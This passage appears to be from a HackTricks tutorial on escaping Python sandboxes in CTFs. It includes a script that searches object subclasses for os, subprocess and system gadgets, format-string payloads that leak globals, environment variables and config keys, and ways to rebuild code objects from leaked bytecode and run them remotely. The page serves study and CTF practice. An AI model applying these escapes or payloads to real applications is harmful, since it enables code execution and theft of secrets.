|
for b in bad_libraries_names + bad_func_names:
|
|
vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ]
|
|
print(f"{b}: {', '.join(vuln_funcs)}")
|
|
|
|
"""
|
|
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
|
|
commands:
|
|
subprocess: BaseDependency, Origin, Version, Package
|
|
pty:
|
|
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
|
|
imp:
|
|
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
|
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
|
|
pip:
|
|
pdb:
|
|
system: _wrap_close, _wrap_close
|
|
getstatusoutput: CompletedProcess, Popen
|
|
getoutput: CompletedProcess, Popen
|
|
call: CompletedProcess, Popen
|
|
Popen: CompletedProcess, Popen
|
|
spawn:
|
|
import_module:
|
|
__import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec
|
|
load_source: NullImporter, _HackedGetData
|
|
execfile:
|
|
execute:
|
|
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
|
"""
|
|
```
|
|
|
|
## Recursive Search of Builtins, Globals...
|
|
|
|
{% hint style="warning" %}
|
|
This is just **awesome**. If you are **looking for an object like globals, builtins, open or anything** just use this script to **recursively find places were you can find that object.**
|
|
{% endhint %}
|
|
|
|
```python
|
|
import os, sys # Import these to find more gadgets
|
|
|
|
SEARCH_FOR = {
|
|
# Misc
|
|
"__globals__": set(),
|
|
"builtins": set(),
|
|
"__builtins__": set(),
|
|
"open": set(),
|
|
|
|
# RCE libs
|
|
"os": set(),
|
|
"subprocess": set(),
|
|
"commands": set(),
|
|
"pty": set(),
|
|
"importlib": set(),
|
|
"imp": set(),
|
|
"sys": set(),
|
|
"pip": set(),
|
|
"pdb": set(),
|
|
|
|
# RCE methods
|
|
"system": set(),
|
|
"popen": set(),
|
|
"getstatusoutput": set(),
|
|
"getoutput": set(),
|
|
"call": set(),
|
|
"Popen": set(),
|
|
"popen": set(),
|
|
"spawn": set(),
|
|
"import_module": set(),
|
|
"__import__": set(),
|
|
"load_source": set(),
|
|
"execfile": set(),
|
|
"execute": set()
|
|
}
|
|
|
|
#More than 4 is veeery time consuming
|
|
MAX_CONT = 4
|
|
|
|
#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be find
|
|
#ALREADY_CHECKED = set()
|
|
|
|
def check_recursive(element, cont, name, orig_n, orig_i, execute):
|
|
# If bigger than maxium, stop
|
|
if cont > MAX_CONT:
|
|
return
|
|
|
|
# If already checked, stop
|
|
#if name and name in ALREADY_CHECKED:
|
|
# return
|
|
|
|
# Add to already checked
|
|
#if name:
|
|
# ALREADY_CHECKED.add(name)
|
|
|
|
# If found add to the dict
|
|
for k in SEARCH_FOR:
|
|
if k in dir(element) or (type(element) is dict and k in element):
|
|
SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")
|
|
|
|
# Continue with the recursivity
|
|
for new_element in dir(element):
|
|
try:
|
|
check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)
|
|
|
|
# WARNING: Calling random functions sometimes kill the script
|
|
# Comment this part if you notice that behaviour!!
|
|
if execute:
|
|
try:
|
|
if callable(getattr(element, new_element)):
|
|
check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)
|
|
except:
|
|
pass
|
|
|
|
except:
|
|
pass
|
|
|
|
# If in a dict, scan also each keys, very important
|
|
if type(element) is dict:
|
|
for new_element in element:
|
|
check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)
|
|
|
|
|
|
def main():
|
|
print("Checking from empty string...")
|
|
total = [""]
|
|
for i,element in enumerate(total):
|
|
print(f"\rStatus: {i}/{len(total)}", end="")
|
|
cont = 1
|
|
check_recursive(element, cont, "", str(element), f"Empty str {i}", True)
|
|
|
|
print()
|
|
print("Checking loaded subclasses...")
|
|
total = "".__class__.__base__.__subclasses__()
|
|
for i,element in enumerate(total):
|
|
print(f"\rStatus: {i}/{len(total)}", end="")
|
|
cont = 1
|
|
check_recursive(element, cont, "", str(element), f"Subclass {i}", True)
|
|
|
|
print()
|
|
print("Checking from global functions...")
|
|
total = [print, check_recursive]
|
|
for i,element in enumerate(total):
|
|
print(f"\rStatus: {i}/{len(total)}", end="")
|
|
cont = 1
|
|
check_recursive(element, cont, "", str(element), f"Global func {i}", False)
|
|
|
|
print()
|
|
print(SEARCH_FOR)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|
|
```
|
|
|
|
You can check the output of this script in this page:
|
|
|
|
{% content-ref url="output-searching-python-internals.md" %}
|
|
[output-searching-python-internals.md](output-searching-python-internals.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Python Format String
|
|
|
|
If you **send** a **string** to python that is going to be **formatted**, you can use `{}` to access **python internal information.** You can use the previous examples to access globals or builtins for example.
|
|
|
|
{% hint style="info" %}
|
|
However, there is a **limitation**, you can only use the symbols `.[]`, so you **won't be able to execute arbitrary code**, just to read information.\
|
|
_**If you know how to execute code through this vulnerability, please contact me.**_
|
|
{% endhint %}
|
|
|
|
```python
|
|
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
|
CONFIG = {
|
|
"KEY": "ASXFYFGK78989"
|
|
}
|
|
|
|
class PeopleInfo:
|
|
def __init__(self, fname, lname):
|
|
self.fname = fname
|
|
self.lname = lname
|
|
|
|
def get_name_for_avatar(avatar_str, people_obj):
|
|
return avatar_str.format(people_obj = people_obj)
|
|
|
|
people = PeopleInfo('GEEKS', 'FORGEEKS')
|
|
|
|
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
|
get_name_for_avatar(st, people_obj = people)
|
|
```
|
|
|
|
Note how you can **access attributes** in a normal way with a **dot** like `people_obj.__init__` and **dict element** with **parenthesis** without quotes `__globals__[CONFIG]`
|
|
|
|
Also note that you can use `.__dict__` to enumerate elements of an object `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
|
|
|
Some other interesting characteristics from format strings is the possibility of **executing** the **functions** **`str`**, **`repr`** and **`ascii`** in the indicated object by adding **`!s`**, **`!r`**, **`!a`** respectively:
|
|
|
|
```python
|
|
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
|
get_name_for_avatar(st, people_obj = people)
|
|
```
|
|
|
|
Moreover, it's possible to **code new formatters** in classes:
|
|
|
|
```python
|
|
class HAL9000(object):
|
|
def __format__(self, format):
|
|
if (format == 'open-the-pod-bay-doors'):
|
|
return "I'm afraid I can't do that."
|
|
return 'HAL 9000'
|
|
|
|
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
|
#I'm afraid I can't do that.
|
|
```
|
|
|
|
**More examples** about **format** **string** examples can be found in [**https://pyformat.info/**](https://pyformat.info)
|
|
|
|
### Sensitive Information Disclosure Payloads
|
|
|
|
```python
|
|
{whoami.__class__.__dict__}
|
|
{whoami.__globals__[os].__dict__}
|
|
{whoami.__globals__[os].environ}
|
|
{whoami.__globals__[sys].path}
|
|
{whoami.__globals__[sys].modules}
|
|
|
|
# Access an element through several links
|
|
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
|
|
```
|
|
|
|
## Dissecting Python Objects
|
|
|
|
{% hint style="info" %}
|
|
If you want to **learn** about **python bytecode** in depth read these **awesome** post about the topic: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
|
{% endhint %}
|
|
|
|
In some CTFs you could be provided the name of a **custom function where the flag** resides and you need to see the **internals** of the **function** to extract it.
|
|
|
|
This is the function to inspect:
|
|
|
|
```python
|
|
def get_flag(some_input):
|
|
var1=1
|
|
var2="secretcode"
|
|
var3=["some","array"]
|
|
if some_input == var2:
|
|
return "THIS-IS-THE-FALG!"
|
|
else:
|
|
return "Nope"
|
|
```
|
|
|
|
#### dir
|
|
|
|
```python
|
|
dir() #General dir() to find what we have loaded
|
|
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
|
|
dir(get_flag) #Get info tof the function
|
|
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
|
|
```
|
|
|
|
#### globals
|
|
|
|
`__globals__` and `func_globals`(Same) Obtains the global environment. In the example you can see some imported modules, some global variables and their content declared:
|
|
|
|
```python
|
|
get_flag.func_globals
|
|
get_flag.__globals__
|
|
{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}
|
|
|
|
#If you have access to some variable value
|
|
CustomClassObject.__class__.__init__.__globals__
|
|
```
|
|
|
|
[**See here more places to obtain globals**](./#globals-and-locals)
|
|
|
|
### **Accessing the function code**
|
|
|
|
**`__code__`** and `func_code`: You can **access** this **attribute** of the function to **obtain the code object** of the function.
|
|
|
|
```python
|
|
# In our current example
|
|
get_flag.__code__
|
|
<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1
|
|
|
|
# Compiling some python code
|
|
compile("print(5)", "", "single")
|
|
<code object <module> at 0x7f9ca01330c0, file "", line 1>
|
|
|
|
#Get the attibutes of the code object
|
|
dir(get_flag.__code__)
|
|
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
|
```
|
|
|
|
### Getting Code Information
|
|
|
|
```python
|
|
# Another example
|
|
s = '''
|
|
a = 5
|
|
b = 'text'
|
|
def f(x):
|
|
return x
|
|
f(5)
|
|
'''
|
|
c=compile(s, "", "exec")
|
|
|
|
# __doc__: Get the description of the function, if any
|
|
print.__doc__
|
|
|
|
# co_consts: Constants
|
|
get_flag.__code__.co_consts
|
|
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')
|
|
|
|
c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.
|
|
(5, 'text', <code object f at 0x7f9ca0133540, file "", line 4>, 'f', None
|
|
|
|
# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
|
|
get_flag.__code__.co_names
|
|
()
|
|
|
|
c.co_names
|
|
('a', 'b', 'f')
|
|
|
|
|
|
#co_varnames: Local names used by the bytecode (arguments first, then the local variables)
|
|
get_flag.__code__.co_varnames
|
|
('some_input', 'var1', 'var2', 'var3')
|
|
|
|
#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.
|
|
get_flag.__code__.co_cellvars
|
|
()
|
|
|
|
#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.
|
|
get_flag.__code__.co_freevars
|
|
()
|
|
|
|
#Get bytecode
|
|
get_flag.__code__.co_code
|
|
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
|
|
```
|
|
|
|
### **Disassembly a function**
|
|
|
|
```python
|
|
import dis
|
|
dis.dis(get_flag)
|
|
2 0 LOAD_CONST 1 (1)
|
|
3 STORE_FAST 1 (var1)
|
|
|
|
3 6 LOAD_CONST 2 ('secretcode')
|
|
9 STORE_FAST 2 (var2)
|
|
|
|
4 12 LOAD_CONST 3 ('some')
|
|
15 LOAD_CONST 4 ('array')
|
|
18 BUILD_LIST 2
|
|
21 STORE_FAST 3 (var3)
|
|
|
|
5 24 LOAD_FAST 0 (some_input)
|
|
27 LOAD_FAST 2 (var2)
|
|
30 COMPARE_OP 2 (==)
|
|
33 POP_JUMP_IF_FALSE 40
|
|
|
|
6 36 LOAD_CONST 5 ('THIS-IS-THE-FALG!')
|
|
39 RETURN_VALUE
|
|
|
|
8 >> 40 LOAD_CONST 6 ('Nope')
|
|
43 RETURN_VALUE
|
|
44 LOAD_CONST 0 (None)
|
|
47 RETURN_VALUE
|
|
```
|
|
|
|
Notice that **if you cannot import `dis` in the python sandbox** you can obtain the **bytecode** of the function (`get_flag.func_code.co_code`) and **disassemble** it locally. You won't see the content of the variables being loaded (`LOAD_CONST`) but you can guess them from (`get_flag.func_code.co_consts`) because `LOAD_CONST`also tells the offset of the variable being loaded.
|
|
|
|
```python
|
|
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
|
0 LOAD_CONST 1 (1)
|
|
3 STORE_FAST 1 (1)
|
|
6 LOAD_CONST 2 (2)
|
|
9 STORE_FAST 2 (2)
|
|
12 LOAD_CONST 3 (3)
|
|
15 LOAD_CONST 4 (4)
|
|
18 BUILD_LIST 2
|
|
21 STORE_FAST 3 (3)
|
|
24 LOAD_FAST 0 (0)
|
|
27 LOAD_FAST 2 (2)
|
|
30 COMPARE_OP 2 (==)
|
|
33 POP_JUMP_IF_FALSE 40
|
|
36 LOAD_CONST 5 (5)
|
|
39 RETURN_VALUE
|
|
>> 40 LOAD_CONST 6 (6)
|
|
43 RETURN_VALUE
|
|
44 LOAD_CONST 0 (0)
|
|
47 RETURN_VALUE
|
|
```
|
|
|
|
## Compiling Python
|
|
|
|
Now, lets imagine that somehow you can **dump the information about a function that you cannot execute** but you **need** to **execute** it.\
|
|
Like in the following example, you **can access the code object** of that function, but just reading the disassemble you **don't know how to calculate the flag** (_imagine a more complex `calc_flag` function_)
|
|
|
|
```python
|
|
def get_flag(some_input):
|
|
var1=1
|
|
var2="secretcode"
|
|
var3=["some","array"]
|
|
def calc_flag(flag_rot2):
|
|
return ''.join(chr(ord(c)-2) for c in flag_rot2)
|
|
if some_input == var2:
|
|
return calc_flag("VjkuKuVjgHnci")
|
|
else:
|
|
return "Nope"
|
|
```
|
|
|
|
### Creating the code object
|
|
|
|
First of all, we need to know **how to create and execute a code object** so we can create one to execute our function leaked:
|
|
|
|
```python
|
|
code_type = type((lambda: None).__code__)
|
|
# Check the following hint if you get an error in calling this
|
|
code_obj = code_type(co_argcount, co_kwonlyargcount,
|
|
co_nlocals, co_stacksize, co_flags,
|
|
co_code, co_consts, co_names,
|
|
co_varnames, co_filename, co_name,
|
|
co_firstlineno, co_lnotab, freevars=None,
|
|
cellvars=None)
|
|
|
|
# Execution
|
|
eval(code_obj) #Execute as a whole script
|
|
|
|
# If you have the code of a function, execute it
|
|
mydict = {}
|
|
mydict['__builtins__'] = __builtins__
|
|
function_type(code_obj, mydict, None, None, None)("secretcode")
|
|
```
|
|
|
|
{% hint style="info" %}
|
|
Depending on the python version the **parameters** of `code_type` may have a **different order**. The best way to know the order of the params in the python version you are running is to run:
|
|
|
|
```
|
|
import types
|
|
types.CodeType.__doc__
|
|
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
|
|
```
|
|
{% endhint %}
|
|
|
|
### Recreating a leaked function
|
|
|
|
{% hint style="warning" %}
|
|
In the following example we are going to take all the data needed to recreate the function from the function code object directly. In a **real example**, all the **values** to execute the function **`code_type`** is what **you will need to leak**.
|
|
{% endhint %}
|
|
|
|
```python
|
|
fc = get_flag.__code__
|
|
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
|
code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)
|
|
|
|
mydict = {}
|
|
mydict['__builtins__'] = __builtins__
|
|
function_type(code_obj, mydict, None, None, None)("secretcode")
|
|
#ThisIsTheFlag
|
|
```
|
|
|
|
### Bypass Defenses
|
|
|
|
In previous examples at the begging of this post you can see **how to execute any python code using the `compile` function**. This is really interesting because you can **execute whole scripts** with loops and everything in a **one liner** (and we could do the same using **`exec`**).\
|
|
Anyway, sometimes it could be useful to **create** a **compiled object** in a local machine and execute it in the **CTF machine** (for example because we don't have the `compiled` function in the CTF).
|
|
|
|
For example, let's compile and execute manually a function that reads _./poc.py_:
|
|
|
|
```python
|
|
#Locally
|
|
def read():
|
|
return open("./poc.py",'r').read()
|
|
|
|
read.__code__.co_code
|
|
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
|
|
```
|
|
|
|
```python
|
|
#On Remote
|
|
function_type = type(lambda: None)
|
|
code_type = type((lambda: None).__code__) #Get <type 'type'>
|
|
consts = (None, "./poc.py", 'r')
|
|
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
|
|
names = ('open','read')
|
|
|
|
# And execute it using eval/exec
|
|
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))
|
|
|
|
#You could also execute it directly
|
|
mydict = {}
|
|
mydict['__builtins__'] = __builtins__
|
|
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
|
function_type(codeobj, mydict, None, None, None)()
|
|
```
|
|
|
|
If you cannot access `eval` or `exec` you could create a **proper function**, but calling it directly is usually going to fail with: _constructor not accessible in restricted mode_. So you need a **function not in the restricted environment call this function.**
|
|
|
|
```python
|
|
#Compile a regular print
|
|
ftype = type(lambda: None)
|
|
ctype = type((lambda: None).func_code)
|
|
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
|
f(42)
|
|
```
|
|
|
|
## Decompiling Compiled Python
|
|
|
|
Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) one can **decompile** given compiled python code.
|
|
|
|
**Check out this tutorial**:
|
|
|
|
{% content-ref url="../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
|
|
[.pyc.md](../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Misc Python
|
|
|
|
### Assert
|
|
|
|
Python executed with optimizations with the param `-O` will remove asset statements and any code conditional on the value of **debug**.\
|
|
Therefore, checks like
|
|
|
|
```python
|
|
def check_permission(super_user):
|
|
try:
|
|
assert(super_user)
|
|
print("\nYou are a super user\n")
|
|
except AssertionError:
|
|
print(f"\nNot a Super User!!!\n")
|
|
```
|
|
|
|
will be bypassed
|
|
|
|
## References
|
|
|
|
* [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
|
|
* [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)
|
|
* [https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/](https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/)
|
|
* [https://gynvael.coldwind.pl/n/python\_sandbox\_escape](https://gynvael.coldwind.pl/n/python\_sandbox\_escape)
|
|
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
|
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
|
|
|
<details>
|
|
|
|
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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|
|
|
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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|
|
|
</details>
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